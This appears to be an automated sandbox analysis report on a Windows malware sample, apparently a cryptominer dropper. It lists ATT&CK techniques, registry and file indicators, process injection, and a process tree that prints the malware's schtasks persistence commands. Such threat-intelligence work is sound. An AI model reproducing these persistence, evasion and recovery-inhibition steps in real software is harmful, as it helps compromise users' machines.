df2be42b8a63be17ff85f4516e308406afcd131afc183bc54fda8dfdb8b90685

Virtualization/Sandbox Evasion

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Oracle\VirtualBox Guest Additions	903428e2.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Oracle\VirtualBox Guest Additions	jusched.exe

Modifies boot configuration data using bcdedit 1 TTPs 4 IoCs

ransomware evasion

Inhibit System Recovery

T1490

pid	Process
1600	bcdedit.exe
1012	bcdedit.exe
5052	bcdedit.exe
4408	bcdedit.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
424	powershell.EXE
2444	powershell.EXE
2460	powershell.exe
2352	powershell.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	dllhost.exe

Looks for VMWare Tools registry key 2 TTPs 2 IoCs

defense_evasion

Query Registry

Virtualization/Sandbox Evasion

persistence privilege_escalation

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\VMware, Inc.\VMware Tools	903428e2.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\VMware, Inc.\VMware Tools	jusched.exe

Modifies Windows Firewall 2 TTPs 1 IoCs

defense_evasion

Windows Service

T1543.003

Disable or Modify System Firewall

T1562.004

pid	Process
1268	netsh.exe

Creates new service(s) 2 TTPs
persistence execution

Windows Service
T1543.003

Service Execution
T1569.002

Drops startup file 1 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\jusched.lnk	jusched.exe

Executes dropped EXE 18 IoCs

pid	Process
2724	903428e2.exe
4804	jusched.exe
3304	dllhost.exe
3156	dllhost.exe
4756	SearchProtocolHost.exe
1592	jusched.exe
4364	SearchFilterHost.exe
1920	jusched.exe
3648	jusched.exe
4872	jusched.exe
1540	jusched.exe
4424	dllhost.exe
4976	dllhost.exe
3732	SearchProtocolHost.exe
1688	jusched.exe
1344	miner.exe
1644	SearchFilterHost.exe
1720	dllhost.exe

Loads dropped DLL 13 IoCs

pid	Process
2724	903428e2.exe
3304	dllhost.exe
3304	dllhost.exe
3304	dllhost.exe
4908	rundll32.exe
3304	dllhost.exe
3304	dllhost.exe
3304	dllhost.exe
4872	jusched.exe
4424	dllhost.exe
4424	dllhost.exe
4424	dllhost.exe
4424	dllhost.exe

Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Adds Run key to start application 2 TTPs 5 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\jusched = "\"C:\\Users\\Admin\\AppData\\Roaming\\jusched\\jusched.exe\""	jusched.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\jusched = "\"C:\\Users\\Admin\\AppData\\Roaming\\jusched\\jusched.exe\""	jusched.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2824035265-2271499813-2042964211-1000\Software\Microsoft\Windows\CurrentVersion\Run\jusched = "C:\\Users\\Admin\\AppData\\Roaming\\jusched\\jusched.exe"	jusched.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\jusched = "\"C:\\Users\\Admin\\AppData\\Roaming\\jusched\\jusched.exe\""	jusched.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\jusched = "\"C:\\Users\\Admin\\AppData\\Roaming\\jusched\\jusched.exe\""	jusched.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
2	ip-api.com

Power Settings 1 TTPs 8 IoCs

powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.

persistence

Power Settings

T1653

pid	Process
2404	powercfg.exe
2912	powercfg.exe
4224	powercfg.exe
3796	powercfg.exe
1272	powercfg.exe
1504	powercfg.exe
1920	powercfg.exe
1940	powercfg.exe

Drops file in System32 directory 3 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506	dllhost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506	dllhost.exe
File opened for modification	C:\Windows\System32\Recovery\ReAgent.xml	dllhost.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
3304	dllhost.exe
4424	dllhost.exe

Suspicious use of SetThreadContext 9 IoCs

description	pid	Process	procid_target
PID 2724 set thread context of 3304	2724	903428e2.exe	85
PID 3304 set thread context of 3156	3304	dllhost.exe	86
PID 3304 set thread context of 4756	3304	dllhost.exe	87
PID 3304 set thread context of 4364	3304	dllhost.exe	97
PID 4872 set thread context of 4424	4872	jusched.exe	120
PID 4424 set thread context of 4976	4424	dllhost.exe	121
PID 4424 set thread context of 3732	4424	dllhost.exe	122
PID 4424 set thread context of 1644	4424	dllhost.exe	131
PID 4424 set thread context of 1720	4424	dllhost.exe	134

UPX packed file 3 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/1740-134-0x0000000140000000-0x0000000140835000-memory.dmp	upx
behavioral2/memory/1740-133-0x0000000140000000-0x0000000140835000-memory.dmp	upx
behavioral2/memory/1740-145-0x0000000140000000-0x0000000140835000-memory.dmp	upx

Drops file in Windows directory 8 IoCs

description	ioc	Process
File created	C:\Windows\SystemTemp\24623428f430\3c3ed4d8.dll	dllhost.exe
File created	C:\Windows\SystemTemp\4c60b49b207e\e8b4ef3b.dll	dllhost.exe
File opened for modification	C:\Windows\Logs\ReAgent\ReAgent.log	reagentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\setuperr.log	reagentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\diagerr.xml	reagentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\diagwrn.xml	reagentc.exe
File created	C:\Windows\SystemTemp\4bdbc509ba3e\miner.exe	dllhost.exe
File created	C:\Windows\SystemTemp\ab9a66b8bb7f\41f0f8b2.dll	dllhost.exe

Launches sc.exe 14 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
1728	sc.exe
3356	sc.exe
2544	sc.exe
1304	sc.exe
1180	sc.exe
1900	sc.exe
4740	sc.exe
3748	sc.exe
1508	sc.exe
2552	sc.exe
940	sc.exe
4644	sc.exe
4548	sc.exe
3360	sc.exe

Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

Netsh Helper DLL

T1546.007

description	ioc	Process
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

Checks processor information in registry 2 TTPs 6 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	dllhost.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	jusched.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	jusched.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	903428e2.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	903428e2.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	dllhost.exe

Enumerates system info in registry 2 TTPs 8 IoCs

Query Registry

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\BIOSVersion	jusched.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	jusched.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	jusched.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	903428e2.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\BIOSVersion	903428e2.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	903428e2.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	903428e2.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	jusched.exe

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	dllhost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software	dllhost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	dllhost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	dllhost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	dllhost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	dllhost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	dllhost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	dllhost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	dllhost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	dllhost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	dllhost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	dllhost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	dllhost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	dllhost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	dllhost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	dllhost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	dllhost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	dllhost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	dllhost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	dllhost.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\jusched_tg_count\n = "1"	dllhost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	dllhost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft	dllhost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	dllhost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	dllhost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	dllhost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	dllhost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	dllhost.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\jusched_tg_7f09c11e\ts = "1779855940"	dllhost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	dllhost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	dllhost.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\jusched_tg_7f09c11e	dllhost.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\ActiveMovie\devenum 64-bit\Version = "7"	dllhost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	dllhost.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	dllhost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	dllhost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	dllhost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	dllhost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	dllhost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	dllhost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	dllhost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	dllhost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 8 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
4648	schtasks.exe
2060	schtasks.exe
3812	schtasks.exe
4748	schtasks.exe
2252	schtasks.exe
3808	schtasks.exe
2404	schtasks.exe
2192	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
792	df2be42b8a63be17ff85f4516e308406afcd131afc183bc54fda8dfdb8b90685.exe
792	df2be42b8a63be17ff85f4516e308406afcd131afc183bc54fda8dfdb8b90685.exe
2724	903428e2.exe
2724	903428e2.exe
2724	903428e2.exe
2724	903428e2.exe
2724	903428e2.exe
2724	903428e2.exe
3304	dllhost.exe
3304	dllhost.exe
3304	dllhost.exe
3304	dllhost.exe
3304	dllhost.exe
3304	dllhost.exe
3304	dllhost.exe
3304	dllhost.exe
3304	dllhost.exe
3304	dllhost.exe
3304	dllhost.exe
3304	dllhost.exe
3304	dllhost.exe
3304	dllhost.exe
3304	dllhost.exe
3304	dllhost.exe
3304	dllhost.exe
3304	dllhost.exe
3304	dllhost.exe
3304	dllhost.exe
3304	dllhost.exe
3304	dllhost.exe
3304	dllhost.exe
3304	dllhost.exe
3304	dllhost.exe
4364	SearchFilterHost.exe
4364	SearchFilterHost.exe
4364	SearchFilterHost.exe
4364	SearchFilterHost.exe
4872	jusched.exe
4872	jusched.exe
4872	jusched.exe
4872	jusched.exe
4872	jusched.exe
4424	dllhost.exe
4424	dllhost.exe
4424	dllhost.exe
4424	dllhost.exe
4424	dllhost.exe
4424	dllhost.exe
4424	dllhost.exe
4424	dllhost.exe
4424	dllhost.exe
4424	dllhost.exe
4424	dllhost.exe
4424	dllhost.exe
4424	dllhost.exe
4424	dllhost.exe
4424	dllhost.exe
4424	dllhost.exe
4424	dllhost.exe
4424	dllhost.exe
4424	dllhost.exe
4424	dllhost.exe
4424	dllhost.exe
4424	dllhost.exe

Suspicious use of AdjustPrivilegeToken 40 IoCs

description	pid	Process
Token: SeDebugPrivilege	792	df2be42b8a63be17ff85f4516e308406afcd131afc183bc54fda8dfdb8b90685.exe
Token: SeDebugPrivilege	2724	903428e2.exe
Token: SeDebugPrivilege	2724	903428e2.exe
Token: SeDebugPrivilege	3304	dllhost.exe
Token: SeDebugPrivilege	3304	dllhost.exe
Token: SeDebugPrivilege	3156	dllhost.exe
Token: SeDebugPrivilege	3156	dllhost.exe
Token: SeDebugPrivilege	3304	dllhost.exe
Token: SeDebugPrivilege	4804	jusched.exe
Token: SeDebugPrivilege	3304	dllhost.exe
Token: SeDebugPrivilege	4756	SearchProtocolHost.exe
Token: SeDebugPrivilege	4756	SearchProtocolHost.exe
Token: SeDebugPrivilege	3304	dllhost.exe
Token: SeImpersonatePrivilege	3304	dllhost.exe
Token: SeDebugPrivilege	3304	dllhost.exe
Token: SeImpersonatePrivilege	3304	dllhost.exe
Token: SeDebugPrivilege	3304	dllhost.exe
Token: SeDebugPrivilege	4364	SearchFilterHost.exe
Token: SeDebugPrivilege	4364	SearchFilterHost.exe
Token: SeDebugPrivilege	1592	jusched.exe
Token: SeDebugPrivilege	4364	SearchFilterHost.exe
Token: SeDebugPrivilege	4872	jusched.exe
Token: SeDebugPrivilege	4872	jusched.exe
Token: SeDebugPrivilege	4424	dllhost.exe
Token: SeDebugPrivilege	4424	dllhost.exe
Token: SeDebugPrivilege	4976	dllhost.exe
Token: SeDebugPrivilege	4976	dllhost.exe
Token: SeDebugPrivilege	4424	dllhost.exe
Token: SeDebugPrivilege	1540	jusched.exe
Token: SeDebugPrivilege	4424	dllhost.exe
Token: SeDebugPrivilege	3732	SearchProtocolHost.exe
Token: SeDebugPrivilege	3732	SearchProtocolHost.exe
Token: SeDebugPrivilege	4424	dllhost.exe
Token: SeDebugPrivilege	1644	SearchFilterHost.exe
Token: SeDebugPrivilege	1644	SearchFilterHost.exe
Token: SeDebugPrivilege	4424	dllhost.exe
Token: SeDebugPrivilege	1688	jusched.exe
Token: SeDebugPrivilege	1720	dllhost.exe
Token: SeDebugPrivilege	1720	dllhost.exe
Token: SeDebugPrivilege	2460	powershell.exe

Suspicious use of WriteProcessMemory 32 IoCs

description	pid	Process	procid_target
PID 2560 wrote to memory of 2724	2560	df2be42b8a63be17ff85f4516e308406afcd131afc183bc54fda8dfdb8b90685.exe	83
PID 2724 wrote to memory of 4804	2724	903428e2.exe	84
PID 2724 wrote to memory of 3304	2724	903428e2.exe	85
PID 3304 wrote to memory of 3156	3304	dllhost.exe	86
PID 3304 wrote to memory of 4756	3304	dllhost.exe	87
PID 4804 wrote to memory of 2192	4804	jusched.exe	88
PID 3304 wrote to memory of 3356	3304	dllhost.exe	90
PID 4804 wrote to memory of 4648	4804	jusched.exe	92
PID 3304 wrote to memory of 1592	3304	dllhost.exe	94
PID 3304 wrote to memory of 4364	3304	dllhost.exe	97
PID 1592 wrote to memory of 3812	1592	jusched.exe	98
PID 1592 wrote to memory of 2060	1592	jusched.exe	103
PID 3304 wrote to memory of 1268	3304	dllhost.exe	106
PID 3304 wrote to memory of 936	3304	dllhost.exe	108
PID 3304 wrote to memory of 1600	3304	dllhost.exe	110
PID 3304 wrote to memory of 4408	3304	dllhost.exe	112
PID 3304 wrote to memory of 5052	3304	dllhost.exe	114
PID 3304 wrote to memory of 1012	3304	dllhost.exe	116
PID 4364 wrote to memory of 4872	4364	SearchFilterHost.exe	118
PID 4872 wrote to memory of 1540	4872	jusched.exe	119
PID 4872 wrote to memory of 4424	4872	jusched.exe	120
PID 4424 wrote to memory of 4976	4424	dllhost.exe	121
PID 4424 wrote to memory of 3732	4424	dllhost.exe	122
PID 1540 wrote to memory of 4748	1540	jusched.exe	123
PID 1540 wrote to memory of 2252	1540	jusched.exe	125
PID 4424 wrote to memory of 1948	4424	dllhost.exe	127
PID 4424 wrote to memory of 1688	4424	dllhost.exe	129
PID 4424 wrote to memory of 1344	4424	dllhost.exe	130
PID 4424 wrote to memory of 1644	4424	dllhost.exe	131
PID 1688 wrote to memory of 3808	1688	jusched.exe	132
PID 4424 wrote to memory of 1720	4424	dllhost.exe	134
PID 1688 wrote to memory of 2404	1688	jusched.exe	135

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\df2be42b8a63be17ff85f4516e308406afcd131afc183bc54fda8dfdb8b90685.exe
"C:\Users\Admin\AppData\Local\Temp\df2be42b8a63be17ff85f4516e308406afcd131afc183bc54fda8dfdb8b90685.exe"
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:792
- C:\Users\Admin\AppData\Local\Temp\df2be42b8a63be17ff85f4516e308406afcd131afc183bc54fda8dfdb8b90685.exe
  C:\Users\Admin\AppData\Local\Temp\df2be42b8a63be17ff85f4516e308406afcd131afc183bc54fda8dfdb8b90685.exe
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2560
- - C:\Users\Admin\AppData\Local\Microsoft\Windows\903428e2.exe
    C:\Users\Admin\AppData\Local\Microsoft\Windows\903428e2.exe
    3⤵
    - Looks for VirtualBox Guest Additions in registry
    - Looks for VMWare Tools registry key
    - Executes dropped EXE
    - Loads dropped DLL
    - Suspicious use of SetThreadContext
    - Checks processor information in registry
    - Enumerates system info in registry
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2724
  - - C:\Users\Admin\AppData\Roaming\jusched\jusched.exe
      "C:\Users\Admin\AppData\Roaming\jusched\jusched.exe"
      4⤵
      Drops startup file
      Executes dropped EXE
      Adds Run key to start application
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:4804
    - - C:\Windows\system32\schtasks.exe
        
        "schtasks.exe" /Create /TN "jusched" /TR "C:\Users\Admin\AppData\Roaming\jusched\jusched.exe" /SC ONLOGON /RL HIGHEST /IT /F
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:2192
    - - C:\Windows\system32\schtasks.exe
        
        "schtasks.exe" /Create /TN "jusched" /TR "C:\Users\Admin\AppData\Roaming\jusched\jusched.exe" /SC ONLOGON /IT /F
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:4648
  - - C:\Windows\system32\dllhost.exe
      "C:\Windows\system32\dllhost.exe"
      4⤵
      Drops file in Drivers directory
      Executes dropped EXE
      Loads dropped DLL
      Drops file in System32 directory
      Suspicious use of NtSetInformationThreadHideFromDebugger
      Suspicious use of SetThreadContext
      Drops file in Windows directory
      Checks processor information in registry
      Modifies data under HKEY_USERS
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:3304
    - - C:\Windows\system32\dllhost.exe
        
        "C:\Windows\system32\dllhost.exe"
        5⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:3156
    - - C:\Windows\system32\SearchProtocolHost.exe
        
        "C:\Windows\system32\SearchProtocolHost.exe"
        5⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:4756
    - - C:\Windows\system32\schtasks.exe
        
        "schtasks.exe" /Query /TN "jusched"
        5⤵
        
        PID:3356
    - - C:\Users\Admin\AppData\Roaming\jusched\jusched.exe
        
        "C:\Users\Admin\AppData\Roaming\jusched\jusched.exe"
        5⤵
        Executes dropped EXE
        Adds Run key to start application
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:1592
      - C:\Windows\system32\schtasks.exe
        
        "schtasks.exe" /Create /TN "jusched" /TR "C:\Users\Admin\AppData\Roaming\jusched\jusched.exe" /SC ONLOGON /RL HIGHEST /IT /F
        6⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:3812
      - C:\Windows\system32\schtasks.exe
        
        "schtasks.exe" /Create /TN "jusched" /TR "C:\Users\Admin\AppData\Roaming\jusched\jusched.exe" /SC ONLOGON /IT /F
        6⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:2060
    - - C:\Windows\system32\rundll32.exe
        
        C:\Windows\system32\rundll32.exe "C:\Windows\SystemTemp\ab9a66b8bb7f\41f0f8b2.dll",ExcludeMain
        5⤵
        Loads dropped DLL
        
        PID:4908
    - - C:\Windows\system32\SearchFilterHost.exe
        
        "C:\Windows\system32\SearchFilterHost.exe"
        5⤵
        Executes dropped EXE
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:4364
      - C:\Users\Admin\AppData\Roaming\jusched\jusched.exe
        
        "C:\Users\Admin\AppData\Roaming\jusched\jusched.exe"
        6⤵
        Looks for VirtualBox Guest Additions in registry
        Looks for VMWare Tools registry key
        Executes dropped EXE
        Loads dropped DLL
        Suspicious use of SetThreadContext
        Checks processor information in registry
        Enumerates system info in registry
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:4872
        
        C:\Users\Admin\AppData\Roaming\jusched\jusched.exe
        
        "C:\Users\Admin\AppData\Roaming\jusched\jusched.exe"
        7⤵
        Executes dropped EXE
        Adds Run key to start application
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:1540
        
        C:\Windows\system32\schtasks.exe
        
        "schtasks.exe" /Create /TN "jusched" /TR "C:\Users\Admin\AppData\Roaming\jusched\jusched.exe" /SC ONLOGON /RL HIGHEST /IT /F
        8⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:4748
        
        C:\Windows\system32\schtasks.exe
        
        "schtasks.exe" /Create /TN "jusched" /TR "C:\Users\Admin\AppData\Roaming\jusched\jusched.exe" /SC ONLOGON /IT /F
        8⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:2252
        
        C:\Windows\system32\dllhost.exe
        
        "C:\Windows\system32\dllhost.exe"
        7⤵
        Executes dropped EXE
        Loads dropped DLL
        Suspicious use of NtSetInformationThreadHideFromDebugger
        Suspicious use of SetThreadContext
        Drops file in Windows directory
        Modifies data under HKEY_USERS
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:4424
        
        C:\Windows\system32\dllhost.exe
        
        "C:\Windows\system32\dllhost.exe"
        8⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:4976
        
        C:\Windows\system32\SearchProtocolHost.exe
        
        "C:\Windows\system32\SearchProtocolHost.exe"
        8⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:3732
        
        C:\Windows\system32\schtasks.exe
        
